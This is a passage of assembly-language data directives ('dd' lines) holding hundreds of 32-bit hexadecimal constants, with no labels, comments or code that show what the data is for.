dd 0EAC5CD20h, 6C1D283h, 29DDE081h, 740979B5h, 805F0CFAh
dd 9733145Bh, 46670025h, 6204CA8Fh, 505C8401h, 38630390h
dd 0C41FA870h, 0BE2BB540h, 70B4EC36h, 0EB5A1663h, 0E5CFF080h
dd 0AF95056Ch, 0C1DD8A12h, 0DFAE7A18h, 0D38FD2C8h, 903FB440h
dd 1872ED33h, 10DBB600h, 6C4F29E9h, 0B945E603h, 0E0815D6Eh
dd 352F949h, 0F2011F89h, 0C902BE2Ch, 0B7504FA1h, 13B07186h
dd 80A21E9Dh, 0C44CA906h, 843A24F6h, 836A858Fh, 0F08462EDh
dd 0F234CC60h, 8C3848BFh, 6DCD651Eh, 7111010h, 83FE003h
dd 0A845C7AFh, 17613E35h, 9B1ACDh, 328E57Bh, 0F31704A6h
dd 20885B31h, 26180012h, 0CC4AF084h, 41025EBCh, 0EAE4C444h
dd 3434E0EFh, 63541A4h, 0D900C19Eh, 0F35C7FF6h, 59AA27Ch
dd 577265C5h, 80E080B7h, 1A00B274h, 0B5026E5Dh, 706C8B1h
dd 0D1FE31DBh, 0E2B9C1A3h, 9DC8383Fh, 9F8F00A5h, 9888C54h
dd 0ACF50D92h, 0FA002044h, 263109B8h, 1D5F83Fh, 692E5DFDh
dd 0C44B3D93h, 2B038599h, 27D818DAh, 7DFA0D9h, 39E900A2h
dd 9E20E6D5h, 2300F33Fh, 546E9070h, 7F7A867Bh, 898E1D3Eh
dd 401418FBh, 6F00C5DFh, 3A0CD925h, 0C1166C2Ah, 1EFB519h
dd 1100C3D5h, 0E9DBB8D4h, 7DBCB7B1h, 2A391441h, 0B831875h
dd 6B9B19F4h, 81C081B1h, 0CC72B18h, 84020AEh, 1587AAh
dd 51E1E8B4h, 5AEE94E0h, 9D8B8E01h, 13A14BC7h, 11DA2883h
dd 38B06AF8h, 63E4F33Dh, 7188EF0Ch, 60A12019h, 0ECCA2928h
dd 7C039739h, 0E797683h, 37C49823h, 0CA4719Ch, 5B43C4Bh
dd 0FA890DF8h, 18F29D0h, 6FE4B9F0h, 802DC474h, 1FFDD63Ch
dd 4CF68257h, 720103B0h, 0E2335E88h, 0CDA2D45Ah, 4A50ED03h
dd 32AFB93h, 0D0F1F250h, 1100EE72h, 3B74A4CCh, 15146Eh
dd 0A9370AFDh, 0C461D99Ch, 4E640606h, 0EC11EA0h, 42D25012h
dd 0F4D39D41h, 6D9A602Fh, 186AE9C7h, 0D2CC4631h, 3F29A0E8h
dd 2F25895h, 330F3002h, 0C08445E0h, 81088C6Ch, 0F0107012h
dd 0E0422800h, 0FEA78766h, 684D00CDh, 433FDADFh, 0F9F6814Bh
dd 9E02C0A0h, 0EC1ABC08h, 6870942Eh, 4EB9F400h, 10D8783Bh
dd 0E8CD3800h, 5E344358h, 322B0C6h, 46E43794h, 0B9006E20h
dd 0D98E4868h, 98B3035Fh, 0E0A924CDh, 0B05A1D60h, 883D16B0h
dd 852BAC00h, 3B9FC7FCh, 0A4E963DDh, 49006C20h, 134EEEE5h
dd 167F3EAh, 735C3192h, 0D387249Dh, 0ECAA4BF8h, 0FD59A9C0h
dd 72100984h, 0E1F60063h, 0EFF90829h, 4092C780h, 0C69E2400h
dd 0CF5235F1h, 42649014h, 3FAB2E5Fh, 80A4D514h, 4B6A8225h
dd 4EE7002Eh, 0A11BA4C4h, 59079A2Dh, 0AD256D35h, 0D781B6F0h
dd 162601FDh, 23CE4208h, 15C18076h, 64AB4BA2h, 0EEEB1DB1h
dd 3E658081h, 3C40589Fh, 0C478C500h, 2A5C59B5h, 0F93B0090h
dd 933DC860h, 51F8AF33h, 0A4E0D238h, 0A807409Ah, 19438995h
dd 4A85E80Eh, 80F15471h, 506400A9h, 8C404D65h, 160B9E5Bh
dd 55C220Dh, 0EC4727B4h, 0F14C7235h, 28D20BAAh, 8506E422h
dd 0A48119E0h, 0C40FA70h, 5D58FFBBh, 6267BB8h, 803814B0h
dd 0BE9C1CC1h, 98FBE344h, 13A2304Ch, 0BA9DB461h, 33B71A16h
dd 0EF17A703h, 2B710195h
dd 0A7794F32h, 0B53DDC23h, 0ADE9FF13h, 0C7D01037h, 2C38C58h
dd 2D10BBBDh, 88464A0Dh, 0D7E69500h, 3815D8A7h, 0FF3A01C9h
dd 0E7D2A5C0h, 9E30203Fh, 91CCFA48h, 13A003Ch, 0FC7DDD60h
dd 0C123303Dh, 0DC530B19h, 0F3A74600h, 424BC4CCh, 39520020h
dd 0AAF364Ch, 0D0E828F9h, 81993F04h, 0B890FBA0h, 1E351C63h
dd 26C3424Ah, 9AF50157h, 80F07429h, 0EE04E281h, 58EC85A6h
dd 0D6005486h, 739C2EB3h, 60033F95h, 0D80BDADBh, 0B0A90018h
dd 0EA05AFDDh, 8DE6377Bh, 0E23D060Fh, 0B45B2098h, 9C1B49h
dd 0F9119635h, 924A7B40h, 4614DCA4h, 80F45A1Ah, 1726D89Fh
dd 0A85B3EB3h, 0B40C6801h, 24297AEFh, 222A35C4h, 0F138AC6Fh
dd 0B3C5879Ch, 9A00B981h, 0EE6760h, 0BAA1A729h, 0CA5A438Eh
dd 87BB923Ah, 0AF3219ABh, 3F548A47h, 4FE8CC0h, 717A1139h
dd 11397EF2h, 0CAD800D4h, 4042671Ah, 9879000Dh, 49505AB3h
dd 92484BAAh, 0E090E0h, 88AEFC39h, 33E40B7h, 28EF3204h
dd 16509F79h, 1725394h, 0BE1550E8h, 2E4C423h, 66D338B6h
dd 194CC18Bh, 0AD248C14h, 8A169300h, 0EA660888h, 96EB2F29h
dd 23400BE0h, 4E8014A2h, 0EFA3A951h, 643C6B00h, 9B56EE9Eh
dd 1CEBFEEDh, 9F684B39h, 87BF093Ah, 225D0802h, 0E478B361h
dd 2F3B9C39h, 0B53C0A0Ch, 44005020h, 0AE67CF4Fh, 382A0A29h
dd 9CD411A1h, 3D0387E7h, 4A377073h, 0E8A8DE91h, 30093E76h
dd 0A31E722Ah, 4A2348h, 310EEDA9h, 0A3878885h, 622F9B07h
dd 4A2009CEh, 0C4421AD6h, 0C085DA29h, 0C133D71Ch, 9EA98E01h
dd 60E83E30h, 159AF3F0h, 9801D56Ah, 0A7032900h, 0B57288C4h
dd 49FBC907h, 0CD54EB9Eh, 0A15BC680h, 0D59C01Fh, 0C7A271D1h
dd 2CB5A400h, 3A6AE632h, 0A1604C9Fh, 3528E400h, 88565717h
dd 91E1B400h, 0E299BF4Dh, 700600ABh, 0F2B2C9EFh, 9D3CD15Dh
dd 2F11F78h, 0A02408E6h, 53A2D440h, 0A7B851h, 3A0EB97Ah
dd 22660A26h, 81AF7B3Ch, 335D8377h, 2424ED74h, 8DCF02FEh
dd 5736A893h, 0FCD8D643h, 5C01C722h, 1923BA83h, 0C9801B41h
dd 11B43454h, 30004EB5h, 21F842D4h, 7D252AD1h, 0AB4100BCh
dd 8E6332F1h, 0B20B13ADh, 3F6FD5Ah, 18498C2Ch, 5110A1A9h
dd 0B9038B75h, 330AD0D3h, 0F588E167h, 520429E4h, 4322E411h
dd 7BDE3Dh, 0FA592738h, 0A215FE2h, 5DE4C7C1h, 16EE9D88h
dd 2F602099h, 0F33A430Dh, 3799F39h, 0D4005013h, 8F604DACh
dd 0AED43C3Ah, 0E985D303h, 69004827h, 1EDBB19Bh, 1CC3BB14h
dd 47695070h, 0D0D296BAh, 6C2A678Ch, 37DA1520h, 8439401Ah
dd 0A120800Ch, 0D499BFFEh, 0ADB49480h, 2F38F8Bh, 0F2E8895Eh
dd 60423073h, 6002C044h, 6C57812Dh, 0E718C0B1h, 4E9302C7h
dd 0CA941554h, 4014451h, 0FE284DABh, 0C5F777E8h, 0C09CEC41h
dd 0F6474ED5h, 0D9BC43EBh, 8F3BD5D9h, 0C001A539h, 0B07AB4DDh
dd 98970059h, 0E0753FB1h, 1898587Bh, 65305F00h, 861F8739h
dd 0EFFC1222h, 0A2F8218Dh, 0C3E9801Dh, 576F1CCFh, 1207672h
dd 2418F34Bh, 0CC15389Ch, 260D5EDh, 0F364779h, 16B7F4F5h
dd 2188F228h, 29924328h, 8E59020Ch, 401648B3h, 0C6FA3830h
dd 98AF0C08h, 0E3E17B00h, 80BE993Ah, 0E43001Ch, 3B9E3850h
dd 1E0BA08Fh, 8161E7h, 141BD2B8h, 0C54A7275h, 0D017CF10h
dd 651EB408h, 7783BCB9h, 0F8E3896Fh, 15C6D09Bh, 10816B56h
dd 57F45301h, 0F413E83Ch, 12081ECBh, 80752703h, 7BB36E67h
dd 0FE85245h, 0A1811F00h, 0BBFC9528h, 86FE46h, 4F241615h
dd 0EF09AB7Dh, 750A0CB0h, 900ED56Ch, 0EA80E39Ch, 8FA434C1h
dd 9A540CD9h, 6CF83F14h, 2F73DB17h, 0B22BBC08h, 0EC98F9F8h
dd 0F13C5C3Ch, 6D00FA7Dh, 97EEA663h, 166CCFBh, 0D2F0281Fh
dd 1B32489h, 6860CE73h, 0A15F101Dh, 29DA1D27h, 0EBE575C0h
dd 745E65Dh, 3114AE33h, 0A9ABA1E1h, 0AAA0408Fh, 68B08704h
dd 7107E60h, 321A5075h, 7749223Fh, 0C2388452h, 0B95A8036h
dd 96133388h, 0F220067h, 506C2429h, 90B8CAF4h, 0C8A46048h
dd 88704441h, 6A90858Ch, 0D14C9B0Fh, 0A83F6130h, 298036A1h
dd 9743FED9h, 309ED52h, 0FCD382ECh, 0E1A0443h, 0F0844Eh
dd 1BDD52A4h, 53E60A13h, 0F9740318h, 6A8D61h, 885C3621h
dd 0A8F6E6ABh, 7952857Eh, 0BB2012D0h, 601C5843h, 1A10F829h
dd 0A281E5Dh, 0BD50030Dh, 0BD0E5FFh, 88013D6Ch, 0CA4EF7B9h
dd 382977C3h, 0C4147500h, 0B18F87E9h, 0C2A49E00h, 88940DA7h
dd 0F9623DCCh, 0F7749B8Ch, 0CE05D631h, 88BC8CC9h, 0F15AACC0h
dd 0D8C31880h, 2A16990Fh, 6CCE0100h, 55D0A8BCh, 37490522h
dd 401CEE19h, 0F33DE090h, 0F10A2161h, 7C984BB7h, 131A3F02h
dd 49F0E176h, 2026BC50h, 3513F78h, 0E475F280h, 2CD6CFA5h
dd 0CA01A30Eh, 0AB4860EFh, 91D81CB0h, 7F53E40h, 2407B9E1h
dd 80DF5B78h, 8B7BC490h, 19131FB0h, 11EC693Bh, 0CEA403F1h
dd 8F5B64C7h, 4D44E9A0h, 11390B01h, 2005D78Fh, 0EFF8063Bh
dd 2B4C6996h, 0C73A0030h, 1738997Eh, 4899A0h, 15D23C69h
dd 600AFE7h, 72792E53h, 0C47DB1Ah, 0F374317Eh, 0EC0F8179h
dd 69E61007h, 0C31B802Bh, 2229A6h, 0F61659C2h, 2AD241DAh
dd 394AF48h, 0FDBF8ECEh, 0E8A0E473h, 0A420E9C5h, 9580332h
dd 2D754004h, 39A2A899h, 4E3F00B4h, 87586708h, 96CD0055h
dd 0FA8E465Bh, 477F98BBh, 280BA7E4h, 813410F9h, 0A05E3DE4h
dd 2C2F2040h, 185400BBh, 6AFB53CDh, 0DC7E872Dh, 5F3C4100h
dd 0A6CF3849h, 1237029Bh, 20A3569Eh, 0BE005052h, 38D13C7Fh
dd 549FCCh, 9D361BD8h, 7C61F087h, 737F7502h, 60A6EADBh
dd 486F4648h, 84C374AEh, 25A9EDC7h, 0F981F909h, 187273h
dd 882CA75Eh, 599C89h, 87D5F69Ah, 786F44A8h, 4B3E7B00h
dd 4F073CFFh, 752A1562h, 585CE009h, 8AAB4000h, 385147FBh
dd 0C55D8707h, 0B5C0956Ch, 50E14C11h, 9CDFBCA8h, 0C2EE400Ch
dd 2F1D3BDDh, 56C730E3h, 87F099F8h, 1467AD97h, 80614E04h
dd 743DD7C0h, 6E000923h, 0B17B1EA2h, 0F2A843h, 6FECEB2h
dd 9AFD46EDh, 7E005670h, 96B77358h, 5DD549h, 13F3E2DDh
dd 0CFD31774h, 71473204h, 2A072B8Bh, 0C7481070h, 45033F6Fh
dd 0A16B0121h, 22A40104h, 2A63CA4Ch, 116C335Eh, 0E9161FC3h
dd 574401E5h, 4028E319h, 71802080h, 0AA98A898h, 0FC8DF705h
dd 9C227829h, 86B7E081h, 22700B17h, 2C90ABF2h, 600029EAh
dd 0CF7D1B2Eh, 1B541105h, 587B650Bh, 3948DF1h, 1ADBA0B3h
dd 893A6446h, 3D04C870h, 632E6F7Bh, 0B760B46Bh, 3C1EEBh
dd 95CA42A7h, 911DB046h, 0C89ED73Ch, 1272254h, 187E9C11h
dd 3220DC37h, 91D90024h, 74F3EB3Dh, 4CC10096h, 0C9EF86Ah
dd 0E74CCB3Ch, 6FB2244h, 73FCE55Fh, 430011F8h, 0DFE6DCA3h
dd 0BD01CD9h, 74393C76h, 80950810h, 0A4213Fh, 78480AA2h
dd 4385Eh, 8729C95Dh, 28D07C44h, 4072F7h, 0BAEB1365h, 0A0E331A1h
dd 13CEA088h, 0D381E2h, 1DB48F24h, 944825DBh, 4A3D05ECh
dd 0F8438292h, 187281F2h, 0F935A1D9h, 0E8F39D1Bh, 1A007EE6h
dd 0F2ABC2FCh, 0C05171h, 6D54BA8Bh, 0F463C8D1h, 7F59B404h
dd 60C008F7h, 2CF60D5h, 4894BE9Ah, 774052EAh, 232A6573h
dd 3800ECC2h, 4263CC47h, 17321C27h, 15AFC31h, 0C1C29C90h
dd 0B43BD0D1h, 0B821FF24h, 0D80FC804h, 954CB4h, 4F8EE251h
dd 0C65BD86h
dd 1FF2A41Eh, 0E0E366C9h, 9CD8DE24h, 0E96B0010h, 6EAB5A3Ah
dd 2EDAD25h, 0C13DE288h, 7121CECh, 0FB5D9CA0h, 8B0012B4h
dd 0F2B78DF4h, 48224B28h, 888E9074h, 2648E720h, 5F83204h
dd 4930061Dh, 0F50D1300h, 4A2B86EAh, 891020F9h, 1DF066A8h
dd 402F6300h, 1070C733h, 0F96AE803h, 71007862h, 42494D60h
dd 0D7007AC5h, 4E6E86DCh, 12790188h, 12107EFh, 585CE04h
dd 4C17D43Ch, 83C3D016h, 0F5670030h, 0D4F100B0h, 9840938Dh
dd 0FCA07FB5h, 94224BC2h, 88DC4CE0h, 48FC11C3h, 21F07260h
dd 627DC5h, 97419E87h, 14D17BF3h, 0C2114705h, 2FC00F5Bh
dd 0EC10C85Dh, 0C74E00C4h, 0BAAB3D63h, 0D07C730Ah, 0F35AB207h
dd 3981CFC2h, 0B4502AA0h, 7E1A22h, 85BFA381h, 6E4010E9h
dd 0B04B2404h, 44974720h, 16C07BC1h, 1797F6E0h, 152246Dh
dd 0D5B19210h, 0B977110Ch, 17B2BD40h, 0CA910108h, 8EBC2B1Bh
dd 1A072A2h, 4EB173D3h, 0DEFCEF9Ah, 17C40027h, 21672EEAh
dd 0FE130639h, 0C090A057h, 3743F810h, 458EB64Ah, 0D28B29Bh
dd 0D0E2AFF3h, 0A201D063h, 501317DEh, 2E4DC0D8h, 0C1581200h
dd 0FD3EBBB7h, 9C975C29h, 0F1460C00h, 5D309EE2h, 379AD101h
dd 83166076h, 735474h, 2D9E1CE6h, 1FBFA9AAh, 86D51900h
dd 0F5DC844Ah, 21524FF4h, 60319E14h, 7C249251h, 3A07B1F0h
dd 0C8901B5Dh, 99717509h, 32840080h, 33BC5961h, 50741E2Eh
dd 9975E640h, 19790E02h, 35275FECh, 0C228253Bh, 772223B0h
dd 9218487Ch, 7BD300A0h, 0BCB4AE13h, 0A300A162h, 3C04DD77h
dd 76E25DC8h, 0CD5584Dh, 0BA804B8Eh, 7133314Ch, 81BF84B4h
dd 0A9204FA0h, 0E0CA02FBh, 0AC31BAh, 0AE3C6E45h, 0E3522860h
dd 0C55C8CF8h, 57D8C28Ch, 0F11460A2h, 8CF4C42h, 5DC9FFC0h
dd 5948FBD9h, 2A5205B3h, 0C0943DF9h, 0C8C8AC12h, 50A001Fh
dd 8C39897Bh, 2005B114h, 7129AC13h, 0D801FCB5h, 0D063E57Ah
dd 0CD66F800h, 456C54C0h, 0D2E12E00h, 0E4E0AFCFh, 2161018Ah
dd 4A520D95h, 0B0BC489Ch, 436BECA0h, 44B6587Ch, 37218164h
dd 0BBBA8087h, 0D3F1EF66h, 21765E28h, 30D00140h, 7352898Ch
dd 924E00C4h, 5EA5E065h, 0CD331739h, 138300B2h, 611D32D2h
dd 41997D01h, 72BBC9EFh, 78234840h, 0E3E296h, 1D6A03FDh
dd 389FD07Eh, 0BE05C89Ch, 2C84D698h, 24AD4040h, 12B28E59h
dd 0D173F2h, 0A2F3CA34h, 527E6991h, 0FC2A771Ch, 1790DD00h
dd 0A0F5A643h, 8BC78E74h, 0ABC842E0h, 5DAEA203h, 0D909FED2h
dd 0B0264BB1h, 7C30CA3Ah, 5D5BB762h, 9D0B323Bh, 60136605h
dd 0FB9E9430h, 708DFCF4h, 82DC024Ah, 22289170h, 0F900F0C4h
dd 26BCBA1h, 0B4BC4C1h, 328E6415h, 8766845Fh, 0FC2C88h
dd 4E36BC3Dh, 325EADEEh, 0A4E39E24h, 8A81D085h, 0B1472C87h
dd 0D1C3E480h, 273D7A58h, 58908632h, 830075ABh, 9C37D9CAh
dd 4B5AACBh, 1B51A5EBh, 174C59Eh, 0EFD12249h, 8AF44015h
dd 0AB0642ECh, 26D73407h, 0DC440349h, 2B5BC03Bh, 3A07FB0h
dd 3C0AE21Eh, 81974A00h, 5CF2C5E8h, 3A8290AAh, 4D942FCh
dd 0F6F33F00h, 7661CEAh, 0BDC5DB1Fh, 1AA830ADh, 14A0209Eh
dd 25007F4Dh, 7C579141h, 28C54A0h, 0B6C7BCDBh, 9846AA9Dh
dd 0CC93D701h, 0CAF1338h, 0F6A887E4h, 3B9E0E78h, 20924B4Ah
dd 814D2130h, 0A8560213h, 0A6A4C8h, 76325DCh, 0C12184F7h
dd 38F36824h, 208D1E00h, 301A40E4h, 993126ECh, 0B20288CAh
dd 69749582h, 0F06442FCh, 29DB2CA8h, 20DA003Ch, 39631592h
dd 0A17A2A27h, 0F9AC881Ch, 0A15191F4h, 387220EDh, 0F515BD00h
dd 0F059457Dh, 7A583E00h, 291F08BEh, 23300326h, 12B590A5h
dd 3088E648h, 73869125h, 0B162DC1h, 0FC198C90h, 5B076500h
dd 0BC15BFDDh, 25F20BE9h, 3C6479B6h, 9F00D67Ch, 62204177h
dd 0C00175h, 0AB84A36Bh, 1A743BB9h, 21C722h, 13193299h
dd 6F3F2575h, 0B549AE04h, 0C00CEFh, 4822298Ah, 2F0E4C37h
dd 0CE805F31h, 0A996A263h, 12EE1A18h, 3ACA9F49h, 0B8FC5CBCh
dd 5A6F7880h, 0C9B800DBh, 0E91FFDD5h, 28FCE300h, 0ED7C2C34h
dd 0FAD8268Dh, 6B6D0110h, 62A1C47Fh, 1D071ED8h, 966380FCh
dd 0CA48EA2Ch, 1498FA77h, 94421A73h, 545F23C3h, 4785E2C8h
dd 90782A24h, 2662884Ch, 720B481h, 0CAED192Eh, 0EE22011Ch
dd 78BF9D07h, 9070CB54h, 7BAE68h, 771FE21Dh, 164A8EF4h
dd 844DB93Dh, 43E796D2h, 1E3E808Ch, 8F0BC5h, 0BA375376h
dd 9802C02Ch, 8E464569h, 0C6EF4007h, 1E710E43h, 0EFA3134Bh
dd 41487396h, 9CED2260h, 81294044h, 372E6789h, 0B400C38Eh
dd 1A7C27D2h, 0A4209458h, 0F9F10055h, 4519F487h, 0F84528BCh
dd 0E004EC16h, 34E207C9h, 30DCB40Fh, 0C28AE860h, 92006EFDh
dd 742449C8h, 0C1F6F461h, 5E475438h, 9B8020D1h, 772A4B0Ch
dd 0A0C49908h, 4F5D38ECh, 61AC20FFh, 0A800ACB7h, 9BF26783h
dd 3995D935h, 1204DD53h, 0C13D735Ch, 7923E24Ch, 0CEEB4008h
dd 0F6C94100h, 0B6014DEBh, 0A30C03FEh, 51088DF8h, 84884590h
dd 4CF0D800h, 3340EB69h, 0E92C63A0h, 86F05B91h, 0B8003EFAh
dd 0EF98751Bh, 26126C0Eh, 28546BF9h, 2D960BB0h, 2800A98Dh
dd 6007D03Eh, 0D818C13Bh, 455801Ch, 504841h, 9D26C4D1h
dd 5DFDD681h, 85A0FB00h, 2BAFAB40h, 0BC8024F2h, 67598024h
dd 0E25A1C74h, 47233D11h, 6EF01Ch, 0B2EDEA50h, 0F93CEE9Ch
dd 5F5800E9h, 31BF9F9Dh, 43275BE8h, 0F3930ED8h, 86DD7FE0h
dd 79591F00h, 204CFDDAh, 1B640009h, 5AB8D94Eh, 0E0906378h
dd 0A7F02645h, 30A348E9h, 0D602CB38h, 743976F3h, 1F00DCC4h
dd 661DAFBBh, 0E6CEC5h, 879291F0h, 0B48D26F3h, 135D1F02h
dd 0A094EF7Eh, 9DCF616Ch, 0B83DEE17h, 7362094Ch, 0B8C9A038h
dd 8489E490h, 0C25DF700h, 0BCB736D4h, 23E001E8h, 0EDDB1940h
dd 186227h, 68D5A9AEh, 165A754h, 0EFF68F52h, 0AF197095h
dd 7FE81020h, 32100015h, 700E1C60h, 3D00DDEDh, 8842D9EAh
dd 7F53A61Ah, 59875C36h, 80E0E029h, 5283DD74h, 350010FCh
dd 1B321415h, 4B34944Fh, 0D2F0C009h, 38266016h, 0DD126C06h
dd 0FDA888h, 6C40A50Dh, 1B4B8569h, 61986CC7h, 0C19B1CC0h
dd 0AA8F0019h, 32E46AFEh, 0D90B1D9Ch, 8A8216h, 0A6F6B71Ch
dd 0EEC0F82Bh, 0B1DB2E49h, 5A6300C4h, 6081D5F0h, 73ACC70Ah
dd 1581CC84h, 7FF96CDCh, 0E7F8AE61h, 0C375F65Fh, 0F677BFA8h
dd 0E080D900h, 0C226FF38h, 45EA032Fh, 0D8411B40h, 5E2A32C8h
dd 8580689Eh, 0A45C43B1h, 0A12C723Fh, 0FC606DDCh, 20FB5E89h
dd 0FC8E48Ch, 0A40A7303h, 0E7BADD69h, 59AC0149h, 4789C15h
dd 0EAF55BC0h, 0C70FBEBh, 0FD9BD000h, 0CDE463E6h, 0A5E70B85h
dd 781027F1h, 3500168Fh, 6FB9B172h, 248B9F88h, 3824C7h
dd 9E1CC873h, 50BD33CBh, 3B4B046Fh, 0C1C45F28h, 0E5C82276h
dd 58C032A5h, 0C0C45C38h, 5517B51Dh, 6BF000ADh, 584FCF89h
dd 0B8094766h, 513F21E1h, 2E9F8718h, 0FA56D0E2h, 5C3D59AFh
dd 0F84C055Ah, 84401AD5h, 626CCA9Bh, 16E800C6h, 4106C1E7h
dd 0B5B81DD0h, 15215F00h, 1CF4754Eh, 0D0D74A27h, 0BFA93FE8h
dd 0EC03297Fh, 3717F550h, 0E3ADB0CFh, 164D0031h, 0DA73F95Dh
dd 7C9CA64Bh, 8534087h, 37CA4210h, 6EA119BEh, 804BB4EEh
dd 57A94DA0h, 2EB53DF3h, 2479FE11h, 67CE00B4h, 4026F991h
dd 81FFD303h, 0BD3788ABh
dd 24F334CCh, 5479233h, 882723FEh, 7800354Ch, 0B8B6DBD1h
dd 1FFFBBFh, 5FE9EC06h, 2920A00Ch, 8421005Ch, 364DB880h
dd 2A500D7h, 0BB88E101h, 0CE5973A0h, 5543BE0h, 4A142687h
dd 0E43EE80Bh, 9CE70074h, 600F4190h, 0E1171DD1h, 94483476h
dd 0A03F8608h, 0EE703129h, 42913C09h, 0D307816Ch, 0A360E536h
dd 1205B4Bh, 3BEECD60h, 245C22D8h, 76008E73h, 8C08DEF5h
dd 7B96258Fh, 3EAC8810h, 620F6C13h, 4EFCAC89h, 0BE420E9Eh
dd 9FE0ACC0h, 563AC9D0h, 0A1AF3812h, 0ADA81890h, 5CE800E0h
dd 3930F2BAh, 10056E6Fh, 8E9E20DDh, 842C50E1h, 358C4683h
dd 4D077490h, 3640DCB4h, 58F8C48Dh, 910FCC0Eh, 0C932EF50h
dd 70D0ED48h, 0E8892A9Ch, 1580D83Ch, 0C3A86450h, 68FAB124h
dd 92745D39h, 5D292804h, 2027D4BDh, 7BE74848h, 12054600h
dd 0A6D61AE6h, 0B9F2CF2h, 8FE800B8h, 1F2A5FA9h, 3B7E3378h
dd 3D24CE02h, 52A64A58h, 742704A4h, 0E844EFE4h, 6D38C0A4h
dd 503381h, 0EFA98C32h, 0C77AEB5Dh, 1E6E5314h, 0A2DB0BD4h
dd 0C98009E3h, 2DECE7ECh, 5C23B09Eh, 7603C4B0h, 0E43B91AEh
dd 606036AAh, 7090821Fh, 33D7C70Fh, 0A06CA499h, 0B01928A4h
dd 0ECF0075h, 9218B5D2h, 0FC00CA3Eh, 0D07EEA60h, 28D573FDh
dd 460A74Bh, 10990B28h, 244F886h, 0DE397522h, 40185C59h
dd 85079C45h, 0D6D57604h, 64801B17h, 13424BDBh, 7038FE6h
dd 1B718ED3h, 9E4A010h, 6AE6AD60h, 6B94B6h, 52D10FDh, 0DEB010Ah
dd 0EEF77B0Fh, 0E1804460h, 9E1174C0h, 204F0079h, 7D27765Ah
dd 0C909F22Fh, 0F9772988h, 73698158h, 0FE595AC2h, 0F2FE54A0h
dd 7E003777h, 0A97133ACh, 19D8CE9Bh, 384BFFF9h, 2630206Bh
dd 13B0D52Fh, 0F51FD8D0h, 44E0008Eh, 0A837E8A1h, 96008994h
dd 0FF873ED1h, 48814282h, 400E8D8h, 83D39C25h, 53087D89h
dd 8426461Ah, 8CD72235h, 0AA1C3E90h, 0A6402C76h, 7C8566CFh
dd 0FC3A13B2h, 782490D5h, 0FA001FCEh, 0BE6998Ah, 0B0BFE886h
dd 3D2D026Dh, 2803C270h, 0AB00A466h, 69EC81D2h, 533387h
dd 29C0CB67h, 507D960Bh, 730C0E16h, 0C2B480D0h, 600A0068h
dd 43E439E1h, 0B00019EBh, 5ACA0607h, 5CBB553Dh, 1C4D2CE7h
dd 7AD73082h, 0FC75A060h, 0C441D225h, 76C40544h, 87B8124Ah
dd 4EA30EDh, 161EAF0Eh, 0C5D5AB5h, 0E088B0CFh, 1D427F69h
dd 4AE803E3h, 3D5E109h, 0C592C900h, 91A9879Fh, 0DC30ED2Bh
dd 0BCA719Eh, 79E548DBh, 0C1144480h, 0D202B712h, 0A0496ED0h
dd 13D4703Fh, 0B474337Bh, 10015858h, 5CF84AD7h, 0F6E06A2Bh
dd 55011E6Dh, 0EA5AC031h, 27759B4h, 9E39520Fh, 6EEF61E7h
dd 0FCE0DC76h, 8084B4D8h, 79AEA31Fh, 80B860C2h, 32D0881Ch
dd 9C704BD2h, 23ACD14h, 0E3365999h, 5CC1A845h, 8EF21184h
dd 64800C28h, 0D9DDF5CCh, 2850909Fh, 0A0AB001Bh, 0DB047FCFh
dd 39010C94h, 0A5EEE873h, 2DE8352Ch, 18009751h, 933AB7EFh
dd 421AC913h, 0D60214E2h, 0EF98E4CAh, 0AA0BD8C0h, 445BC648h
dd 411D0868h, 0FD528497h, 3CEA68C8h, 4E002F7Fh, 0AD478103h
dd 5801FF22h, 0EBF78DA0h, 3430AA56h, 0CABE16D8h, 0B908D072h
dd 0C600CDD3h, 5F795BA6h, 7AAD7EF3h, 0BC370101h, 932160FFh
dd 764050ECh, 0A23B797Bh, 480043F9h, 11305F63h, 0A600833Ah
dd 87F78829h, 1F523F56h, 565DBB69h, 202488F9h, 0F7488000h
dd 68300BA9h, 90D109D2h, 4485AF1Dh, 48E2E3h, 5CB7E551h
dd 1265CAF6h, 284EE2BAh, 6F04CF70h, 0D82A2987h, 46D88Ch
dd 883A8E10h, 24189D5Fh, 0A2E95A16h, 0CFDBF8A5h, 1A7CDB51h
dd 7BFC5121h, 743B25C4h, 785734E8h, 5C009C7Ch, 0A51E3ECAh
dd 418D24h, 9B213A07h, 2BA1EF9Fh, 8A4051DEh, 804A71B7h
dd 0A37E0012h, 27F2E420h, 0EE055B53h, 0C688EF99h, 73445C00h
dd 428BD7Dh, 9D4BD022h, 0E31807E0h, 50C0BE74h, 0FC623Bh
dd 0DC9E2E5Dh, 2A3A15E9h, 0DF297860h, 0B512EC1Ah, 0A80B2814h
dd 995F28D1h, 71E1D43Ch, 16581040h, 81431601h, 30C589h
dd 0A90B3310h, 0B0B8BE9Eh, 0F35A0A02h, 0C6AE01BBh, 0F5A1026Ch
dd 0D9202D81h, 44241C7Ch, 59C8809h, 1D84FEDBh, 448A4h
dd 30AFBBB6h, 931BD048h, 13A3301h, 3CC1F05Ah, 0D381EC3Ch
dd 0D87DC520h, 0AB000998h, 288752C0h, 269FCF75h, 21424CAh
dd 263F1936h, 381F10D1h, 161E4418h, 884A4FAEh, 0CA0530F4h
dd 0E46EBD56h, 0A8338B8h, 16A85446h, 4E012A8Dh, 63617512h
dd 7CDC3A0Ch, 0DFA22AADh, 2302004Ch, 20EECED7h, 0A42E2858h
dd 141140F2h, 0C601F000h, 934A77C4h, 182B8934h, 8C8060B8h
dd 0E5F3A5F9h, 0E1ED609h, 0F2DE0180h, 7DED216Ah, 0E61D5C63h
dd 0F4788732h, 779F70A6h, 7E00823Dh, 5EDC6AD6h, 0BED72C9Ch
dd 321F80C0h, 0C24EE09Ah, 6F101B00h, 0D1DCF38Ch, 1E533A59h
dd 81BCA4h, 0C09FD28Eh, 0B5905AE2h, 5B131900h, 558BF1EFh
dd 0F8489840h, 0A45D5005h, 0B12F4E6h, 8339258Dh, 0D404380Bh
dd 73354214h, 0B5812009h, 0C49AE9FCh, 3988A707h, 0F1252687h
dd 0CE01C4A2h, 51364E0Bh, 0B9B3E098h, 0C26FF200h, 5ED43110h
dd 0BA8800DCh, 50187EC1h, 2758F4E4h, 803E9F4Ch, 0FA9D9849h
dd 25FF3B6Dh, 0D810861Bh, 0F85C0B35h, 0D98200C2h, 0A86DB772h
dd 60917A1h, 0E4DC8540h, 0D11211B8h, 0E7003EBBh, 0A84D5D2Ch
dd 0A6E93AACh, 7A423A04h, 0C204B8C4h, 0C1ECD54Fh, 5C30D8A9h
